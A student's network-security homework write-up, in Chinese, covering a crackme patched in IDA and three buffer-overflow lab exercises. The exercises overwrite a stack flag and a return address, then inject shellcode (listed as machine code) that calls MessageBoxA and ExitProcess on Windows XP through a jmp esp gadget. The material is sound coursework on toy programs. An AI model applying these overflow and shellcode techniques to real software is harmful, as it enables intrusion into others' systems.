网安作业3.
crackme:
打开IDA找到判断跳转语句位置

MReyX4.png
修改跳转指令

MReocD.png
应用到程序

MReOAI.png
运行结果:
正确密码显示错误,错误密码显示正确。

MRmkEn.png
overflow(1):
首先输入7个q看一下栈情况

Mqgxu8.png
authenticated的值是1
输入8个q
没有执行前,authenticated的值还是1

Mq2JKK.png
执行以后,值被覆盖为0

Mq2UVe.png
overflow(2):
将跳转地址覆盖为验证通过的地址

Mq2qZF.png
用ultraedit编辑password文件,任意填充8字符覆盖password,4字符覆盖authenticated,4字符覆盖上一栈帧的ebp,填入4个字符返回地址。

MqRldg.png
再运行程序

MqRweU.png
overflow(3):
程序与2的区别是增加了头文件windows.h,buff由8字节变成44字节,有足够空间填入代码。
找到buff地址和返回地址

MLYJ5F.png
找到messageboxA入口地址

MLt0zj.png
构造password
机器码 | 汇编指令 | 解释 |
---|---|---|
33DB | XOR EBX,EBX | 将EBX寄存器置为NULL |
53 | PUSH EBX | |
686A6F6B65 | PUSH 656b6f6a | Thisjoke |
6854686973 | PUSH 73696854 | |
8BC4 | MOV EAX,ESP | EAX里存入字符串指针 |
53 | PUSH EBX | |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8301D3148 | MOV EAX,0x48311D30 | 调用MessageBoxA |
FFD0 | CALL EAX |

MLLowj.png
由于win10保护机制太强,没有办法显示messagebox
换到xp系统上实现
先找到messageboxA的入口地址

MLOene.png
再找到buff起始地址

MLO8c8.png

MLON7j.png

MLOsjU.png
定位shellcode,找jmp esp指令

MLzBOf.png
定位exitprocess入口地址

MLzqh9.png
修改password文件
机器码 | 汇编指令 | 解释 |
---|---|---|
33DB | XOR EBX,EBX | 将EBX寄存器置为NULL |
53 | PUSH EBX | |
686A6F6B65 | PUSH 656b6f6a | Thisjoke |
6854686973 | PUSH 73696854 | |
8BC4 | MOV EAX,ESP | EAX里存入字符串指针 |
53 | PUSH EBX | |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8EA07D577 | MOV EAX,0x77D507EA | 调用MessageBoxA |
FFD0 | CALL EAX | |
53 | PUSH EBX | |
B8A2BF817C | MOV EAX,0x7C81BFA2 | 调用exit(0) |
FFD0 | CALL EAX |

MOC6uq.png
现在程序就可以正常退出

MOC58J.png